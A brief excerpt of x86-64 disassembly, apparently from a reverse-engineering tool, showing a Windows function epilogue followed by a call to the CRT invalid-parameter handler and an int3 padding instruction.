mov rdi, qword [rbp + 0x288]
lea rsp, [rbp + 0x250]
pop r15
pop r14
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3